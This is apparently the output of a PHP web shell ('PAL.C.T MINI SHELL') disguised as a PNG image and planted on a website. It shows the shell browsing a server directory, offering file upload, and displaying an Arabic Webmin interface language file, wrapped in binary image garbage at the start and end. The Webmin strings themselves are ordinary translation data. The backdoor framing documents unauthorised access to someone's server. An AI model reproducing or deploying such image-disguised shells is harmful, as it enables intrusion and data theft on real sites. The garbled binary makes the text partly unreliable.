php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lang/ar

main_homepage=الصفحة الرئيسية
main_feedback=ملاحظات ..
main_switch=تبديل المستخدم ..
main_logout=الخروج
main_version=الإصدار $1 على $2 ($3)
main_title=Webmin $1 على $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=ليس لديك إمكانية الوصول إلى أي وحدات Webmin.
main_skill=مستوى المهارة
main_readonly=(وضع القراءة فقط)
main_return=الرجوع إلى $1
main_unused=الوحدات غير المستخدمة
main_refreshmods=تحديث الوحدات

link_essl=وحدة Net :: SSLeay Perl اللازمة لإجراء اتصالات HTTPS غير مثبتة على نظامك.

category_servers=الخوادم
category_hardware=الأجهزة
category_system=النظام
category_webmin=Webmin
category_net=الشبكات
category_syslet=الملاحقات
category_cluster=العنقودية
category_info=معلومات

longcategory_servers=وحدات لتكوين الويب والبريد الإلكتروني وبروتوكول نقل الملفات والخوادم الأخرى
longcategory_hardware=وحدات الطابعة والقرص وتكوين الأجهزة الأخرى
longcategory_system=الوحدات النمطية للمستخدمين ، أنظمة الملفات ، وظائف Cron وغيرها من إعدادات النظام
longcategory_webmin=الوحدات النمطية لتكوين Webmin نفسها
longcategory_net=وحدات لتكوين الشبكات وخدمات الشبكة
longcategory_cluster=الوحدات النمطية التي يمكنها إدارة خوادم متعددة من واجهة واحدة
longcategory_info=الوحدات النمطية التي تعرض معلومات حول النظام الخاص بك

header_webmin=مؤشر Webmin
header_module=مؤشر الوحدة
header_help=مساعدة ..
header_config=تكوين الوحدة
header_servers=خوادم Webmin

index=مؤشر
yes=نعم
no=لا
save=حفظ
create=إنشاء
delete=حذف
find=عثور
error=خطأ
error_previous=الصفحة السابقة
error_stack=استدعاء مكدس التتبع
error_file=ملف
error_line=خط
error_sub=وظيفة
error_stackline=في الملف $1 عند السطر $2 الاتصال بـ $3
efilewrite=فشل الكتابة إلى $1: $2
efileclose=فشل الكتابة إلى $1 عند الإغلاق: $2
efileopen=فشل في فتح $1 للكتابة: $2
default=افتراضي
modify=تعديل
reset=إعادة تعيين
ok=موافق
cancel=إلغاء
fail=فشل
helpsearch=البحث في المستندات ..
switch_remote_euser=مستخدم Unix $1 غير موجود.
programname=Webmin
euserdbacl=فشل في إحظار مستخدم ACL : $1
euserdbacl2=فشل في تحديث مستخدم ACL : $1
egroupdbacl=فشل في إحضار مجموعة ACL : $1
egroupdbacl2=فشل في تحديث مجموعة ACL : $1

chooser_title1=اختيار ملف ..
chooser_title2=اختيار الدليل
chooser_dir=دليل $1
chooser_ok=موافق
chooser_date=اختر التاريخ
chooser_eopen=فشل الإدراج: $1

users_title1=حدد المستخدمين ..
users_title2=حدد المستخدم ..
users_sel=المستخدمين المحددين
users_all=جميع المستخدمين
users_ok=موافق
users_cancel=الغاء
users_clear=مسح

groups_title1=حدد المجموعات
groups_title2=حدد مجموعة ..
groups_all=كل المجموعات
groups_sel=المجموعات المختارة
groups_ok=موافق
groups_cancel=الغاء
groups_clear=مسح

modules_title1=حدد وحدات
modules_title2=حدد وحدة ..
modules_sel=الوحدات المختارة
modules_all=جميع الوحدات
modules_ok=موافق
modules_cancel=الغاء
modules_clear=مسح

config_ecannot=غير مسموح لك بتكوين هذه الوحدة
config_title=تكوين
config_dir=وحدة $1
config_header=تكوين خيارات $1
config_none=لا شيء
config_eaccess=غير مسموح لك بالوصول إلى هذه الوحدة
config_err=فشل حفظ التكوين
config_nochange=لا تتغير
config_setto=تعيين إلى
config_ewebmin=يعمل نوع المعلمة 14 فقط في Webmin

help_err=فشل عرض المساعدة
help_epath=مسار المساعدة مفقود أو غير صالح
help_efile=فشل في قراءة ملف المساعدة $1
help_eheader=مفقود <header> الجزء
help_einclude=فشل تضمين $1
help_eif=فشل $1: $2
help_eexec=فشل $1: $2

referer_title=تحذير الأمان
referer_warn=<b>تحذير!</b> لقد اكتشفت Webmin أن البرنامج $2 تم ربطه من URL $1 ، والذي يبدو خارج خادم Webmin. قد يكون هذا محاولة لخداع الخادم الخاص بك لتنفيذ أمر خطير.
referer_warn_unknown=<b>تحذير!</b> اكتشف Webmin أنه تم ربط البرنامج $1 من عنوان URL غير معروف ، يبدو أنه خارج خادم Webmin. قد يكون هذا محاولة لخداع الخادم الخاص بك لتنفيذ أمر خطير.
referer_fix1=إذا كان هذا رابطًا شرعيًا ، فيمكنك السماح بالارتباطات من عنوان URL هذا كما يلي : <ul><li> تسجيل الدخول إلى Webmin بشكل عادي . <li>انتقل إلى <b> تكوين Webmin </b>. <li> انقر فوق رمز "المُحِق الموثوق بهم" . <li> أدخل اسم المضيف $1 في حقل <b>المواقع الموثوقة</b> ، وانقر فوق<b> حفظ </b>. </ul>
referer_fix2=بدلاً من ذلك ، يمكنك تكوين Webmin للسماح بهذا الارتباط من سطر الأوامر بواسطة: <ul><li> تسجيل الدخول كـ <tt>root</tt> ، وتحرير ملف <tt> /etc/webmin/config </tt><li> أضف السطر <tt> referers=$1 </tt> في النهاية ، أو إذا كان سطر <tt> referers </tt> موجودًا بالفعل ، فأضف <tt> $1 </tt> إليه. <li> احفظ الملف. </ul>
referer_fix3u=تأكد من تكوين المستعرض الخاص بك لإرسال معلومات المحيل بحيث يمكن التحقق من خلال Webmin.
referer_fix2u=بدلاً من ذلك ، يمكنك تكوين Webmin للسماح بالارتباطات من محولات غير معروفة بواسطة :<ul><li>تسجيل الدخول كـ root ، وتحرير ملف /etc/webmin/config</li><li>البحث عن السطر <tt>referers_none=0</tt> وتغييره إلى <tt>referers_none=0</tt> .</li><li>احفظ الملف</li></ul><p>تحذير - هذا له الأثر الجانبي لفتح نظامك حتى ينعكس هجمات XSS ولذا لا ينصح !!</p>

session_header=تسجيل الدخول إلى Webmin
session_mesg=يجب عليك إدخال اسم مستخدم وكلمة مرور لتسجيل الدخول إلى خادم Webmin على $1.
session_mesg2=يجب إدخال اسم المستخدم وكلمة المرور لتسجيل الدخول.
session_user=اسم المستخدم
session_pass=كلمة المرور
session_twofactor=رمز مميز ثنائي
session_login=الدخول
session_clear=مسح
session_failed=فشل تسجيل الدخول. حاول مرة اخرى.
session_twofailed=فشل المصادقة الثنائية: $1
session_logout=تم تسجيل الخروج بنجاح. استخدم النموذج أدناه لتسجيل الدخول مرة أخرى.
session_timed_out=انتهت مهلة الجلسة بعد مرور دقيقة واحدة من عدم النشاط.
session_save=تذكر الدخول بشكل دائم؟

pam_header=تسجيل الدخول إلى Webmin
pam_mesg=يجب أن ترد على السؤال أدناه لتسجيل الدخول إلى خادم Webmin على $1.
pam_mesg2=يجب أن ترد على السؤال أدناه لتسجيل الدخول.
pam_login=متابعة
pam_restart=إعادة تشغيل

acl_root=الدليل الجذر لملف محدد
acl_otherdirs=أدلة مرئية أخرى في محدد الملف
acl_nodot=إخفاء ملفات النقطة في محدد الملف؟
acl_home=دليل المستخدم الرئيسي
acl_uedit=المستخدمون مرئيون في محدد المستخدم
acl_uedit_all=جميع المستخدمين
acl_uedit_none=لا يوجد مستخدمون
acl_uedit_only=المستخدمون فقط
acl_uedit_except=جميع المستخدمين باستثناء
acl_uedit_uid=المستخدمون الذين لديهم معرفات UID في النطاق
acl_uedit_group=المستخدمون الذين لديهم مجموعة
acl_gedit=المجموعات مرئية في المجموعة المختارة
acl_gedit_all=جميع المجموعات
acl_gedit_none=لا توجد مجموعات
acl_gedit_only=المجموعات فقط
acl_gedit_except=جميع المجموعات باستثناء
acl_gedit_gid=المجموعات ذات GID في النطاق
acl_feedback=هل يمكن إرسال تعليقات عبر البريد الإلكتروني؟
acl_feedback2=نعم
acl_feedback1=نعم ، ولكن ليس مع ملفات التكوين
acl_feedback0=لا
acl_feedback3=نعم ، مع ملفات التكوين
acl_rpc=هل يمكن قبول مكالمات RPC؟
acl_rpc2=فقط لـ <tt>root</tt> أو <tt>المشرف</tt>
acl_rpc1=نعم
acl_rpc0=لا
acl_readonly2=المستخدم في وضع العرض؟
acl_readonlyyes=نعم (بعض الوحدات قد لا تكون متاحة)
acl_negative=منح أذونات الوحدة الجديدة للمستخدم؟
acl_fileunix=تصفح الملفات كمستخدم Unix
acl_sameunix=نفس تسجيل دخول Webmin
acl_webminsearch=إظهار حقل بحث Webmin؟

month_1=يناير
month_2=فبراير
month_3=مارس
month_4=أبريل
month_5=مايو
month_6=يونيو
month_7=يوليو
month_8=أغسطس
month_9=سبتمبر
month_10=أكتوبر
month_11=نوفمبر
month_12=ديسمبر

day_0=الأحد
day_1=الاثنين
day_2=الثلاثاء
day_3=الاربعاء
day_4=الخميس
day_5=الجمعة
day_6=السبت

smonth_1=يناير
smonth_2=فبراير
smonth_3=مارس
smonth_4=أبريل
smonth_5=مايو
smonth_6=يونيو
smonth_7=يوليو
smonth_8=أغسطس
smonth_9=سبتمبر
smonth_10=أكتوبر
smonth_11=نوفمبر
smonth_12=ديسمبر

sday_0=أح
sday_1=اث
sday_2=ثلا
sday_3=ار
sday_4=خم
sday_5=جم
sday_6=سب

emodule=تم رفض الوصول: لا يُسمح للمستخدم $1 باستخدام الوحدة $2
emodulecheck=الوحدة $1 غير متوفرة على نظامك
elock_tries2=فشل قفل الملف $1 بعد 2$ دقائق. آخر خطأ كان: $3

skill_high=الخبراء
skill_medium=متوسط
skill_low=المبتدئ

feedback_title=ملاحظات Webmin
feedback_desc=يتيح لك هذا النموذج الإبلاغ عن الخلل في تقديم اقتراحات لمطوري Webmin فيما يتعلق بأية مشكلات أو ميزات مفقودة عثرت عليها. عند النقر فوق الزر "إرسال" ، سيتم إرسال التفاصيل التي تم إدخالها في النموذج إلى $1.
feedback_desc2=سيتم إرسال هذه التعليقات إلى مطور Webmin ، وليس مسؤول النظام أو ISP أو شركة الاستضافة. يرجى كتابة تعليقاتك باللغة الإنجليزية ، حتى إذا كنت تستخدم حاليا Webmin بلغة أخرى.
feedback_header=ملاحظاتك التفاصيل
feedback_name=اسمك
feedback_email=عنوان بريدك الإلكتروني
feedback_module=بخصوص الوحدة
feedback_all=جميع الوحدات
feedback_text=وصف المشكلة أو الاقتراح
feedback_os=تضمين تفاصيل نظام التشغيل في البريد الإلكتروني؟
feedback_osdesc=إذا تم تحديد هذا الخيار ، سيتضمن البريد الإلكتروني للتعليقات التلقائية اسم وإصدار نظام التشغيل.
feedback_config=هل تريد تضمين تكوين الوحدة في البريد الإلكتروني؟
feedback_configdesc=إذا تم تحديد ذلك ، فإن البريد الإلكتروني سيتضمن تكوين الوحدة النمطية ذات الصلة ومحتويات أي ملفات تكوين تستخدمها الوحدة. على سبيل المثال ، إذا كانت التعليقات مرتبطة بالوحدة النمطية <i> المستخدمين والمجموعات </i> ، فسيتم إرسال ملفات <tt> /etc/passwd </tt> و <tt> /etc/shadow </tt> .
feedback_attach=ملفات إضافية لإرفاقها
feedback_send=إرسال تعليقات
feedback_mailserver=إرسال عبر خادم SMTP
feedback_mailserver_def=برنامج إرسال البريد المحلي
feedback_err=فشل إرسال ملاحظات
feedback_emodule=اخترت تضمين تكوين الوحدة النمطية في البريد الإلكتروني ، ولكن لم تحدد وحدة نمطية.
feedback_emodule2=الوحدة المختارة غير موجودة
feedback_econfig=ليس لديك حق الوصول الكامل إلى الوحدة النمطية المحددة.
feedback_via=تم إرسال التعليقات إلى $1 عبر خادم SMTP $2
feedback_prog=إرسال التعليقات إلى $1 باستخدام برنامج ارسل بريد $2
feedback_esend=فشل إرسال ملاحظات عبر برنامج ارسل بريد أو خادم SMTP المحلي.
feedback_to=إرسال تعليقات إلى العناوين
feedback_enoto=لم يتم إدخال عناوين لإرسال ملاحظات إليها
feedback_ecannot=غير مسموح لك بإرسال ملاحظات
feedback_ecannot2=غير مسموح لك بإرسال ملاحظات تحتوي على ملفات تكوين

progress_size2=تنزيل $1 ($2) ..
progress_nosize=تنزيل $1 ..
progress_datan=تم استلام $1 ($2٪)
progress_data2n=تم استلام $1
progress_done=.. تم التحميل.
progress_incache=تم العثور على $1 في ذاكرة التخزين المؤقت ..

readparse_cdheader=عنوان ترتيب المحتوى مفقود
readparse_enc=توقع تشفير بيانات النموذج ، لكن تم ترميزها بشكل طبيعي
readparse_max=تجاوزت البيانات الحد الأقصى لحجم $1 بايت

password_expired=انتهت صلاحية كلمة المرور الخاصة بك ، ويجب اختيار واحدة جديدة.
password_temp=يجب عليك تحديد كلمة مرور جديدة لاستبدال تسجيل الدخول المؤقت الخاص بك.
password_header=اختر كلمة مرور جديدة
password_user=اسم المستخدم
password_old=كلمة المرور الحالية
password_new1=كلمة مرور جديدة
password_new2=كلمة مرور جديدة مرة أخرى
password_ok=تغيير
password_clear=مسح
password_done=تم تغيير كلمة المرور الخاصة بك بنجاح. يمكنك الآن <a href='$1'> تسجيل الدخول مرة أخرى </a> باستخدام كلمة المرور الجديدة.
password_err=فشل في تغيير كلمة المرور
password_euser=لم يتم العثور على اسم تسجيل الدخول الخاص بك في ملف كلمة المرور!
password_eold=كلمة المرور الحالية غير صحيحة
password_enew1=لم يتم إدخال كلمة مرور جديدة
password_enew2=لا تتطابق كلمات المرور الجديدة
password_epam=خطأ PAM: $1
password_emodpam=لم يتم تثبيت الوحدة النمطية Authen :: PAM perl اللازمة لإجراء تغييرات كلمة المرور!
password_enewpass=كلمة مرور جديدة غير مسموح بها: $1

ui_mandatory=هذا الحقل إلزامي
ui_checkmandatory=لم يتم تحديد أي شيء
ui_errors=تم العثور على أخطاء متعددة:
ui_nothing=لم يتم إدخال أي شيء
ui_searchcol=البحث عن صفوف أين
ui_searchfor=يحتوي على النص
ui_searchok=البحث
ui_selall=تحديد الكل.
ui_selinv=عكس التحديد.
ui_edate=تاريخ غير صالح
ui_etime=وقت غير صالح
ui_paging=عرض الصفوف من $1 إلى $2 من $3
ui_rowlabel=$2 في الصف $1:
ui_filterbox=اكتب للتصفية ..

header_statusmsg=$1 تم تسجيل الدخول إلى $2 $3 على $4 ($5)

uptracker_title=تحميل الملف
uptracker_file=اسم الملف
uptracker_size=الحجم
uptracker_pc=التقدم
uptracker_eid=لم يتم تحديد معرف التحميل
uptracker_eid2=معرف التحميل غير صالح!
uptracker_of=$1 من $2

wsearch_title=ابحث عن $1
wsearch_modt=وحدة
wsearch_mtitle=اسم الوحدة
wsearch_what=صفحة مطابقة
wsearch_type=نوع المطابقة
wsearch_mod=$1 وحدة
wsearch_config_webmin=الوحدة النمطية Webmin التكوين
wsearch_config_usermin=تفضيلات Usermin
wsearch_help=صفحة المساعدة
wsearch_inmod=في $1
wsearch_text=نص واجهة المستخدم
wsearch_esearch=لم يتم إدخال أي شيء للبحث عنه.
wsearch_enone=لم يتم العثور على وحدات Webmin أو صفحات مطابقة $1.
wsearch_on=(على $1)
wsearch_helpfor=تعليمات لـ <i>$1</ i>
wsearch_htext=مطابقة النص
wsearch_htype=المصدر
wsearch_hcgis=المراجع
wsearch_type_mod=اسم الوحدة النمطية
wsearch_type_config=تكوين
wsearch_type_help=صفحة المساعدة
wsearch_type_text=واجهة المستخدم
wsearch_type_dir=عنوان URL للوحدة
wsearch_hmod=وحدة
wsearch_moddir=مسار عنوان URL /$1/
wsearch_searching=البحث عن $1. .
wsearch_found=تم العثور على نتائج $1:

sql_emysqldriver=فشل تحميل برنامج تشغيل MySQL DBI
sql_emysqlconnect=فشل الاتصال بقاعدة بيانات MySQL: $1
sql_epostgresqldriver=فشل تحميل برنامج تشغيل DBG PostgreSQL
sql_epostgresqlconnect=فشل الاتصال بقاعدة بيانات PostgreSQL: $1
sql_eldapdriver=فشل تحميل وحدة LDAP perl
sql_eldapconnect=فشل الاتصال بخادم LDAP $1
sql_eldaptls=فشل في بدء تشفير TLS لـ LDAP: $1
sql_eldaplogin=فشل في تسجيل الدخول إلى خادم LDAP باعتباره $1: $2

log_email_subject=إجراء Webmin في $1
log_email_global=إجراء Webmin العالمي
log_email_desc=تم إرسال هذه الرسالة الإلكترونية بواسطة Webmin ردًا على إجراء المستخدم.
log_email_mod=وحدة Webmin: $1
log_email_moddesc=عنوان الوحدة : $1
log_email_time=تم تنفيذ الإجراء على : $1
log_email_system=تم التنفيذ على النظام : $1
log_email_user=تم تنفيذها بواسطة المستخدم : $1
log_email_script=Webmin سكربت : $1
log_email_session=معرف الجلسة : $1
log_email_remote=عنوان العميل : $1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`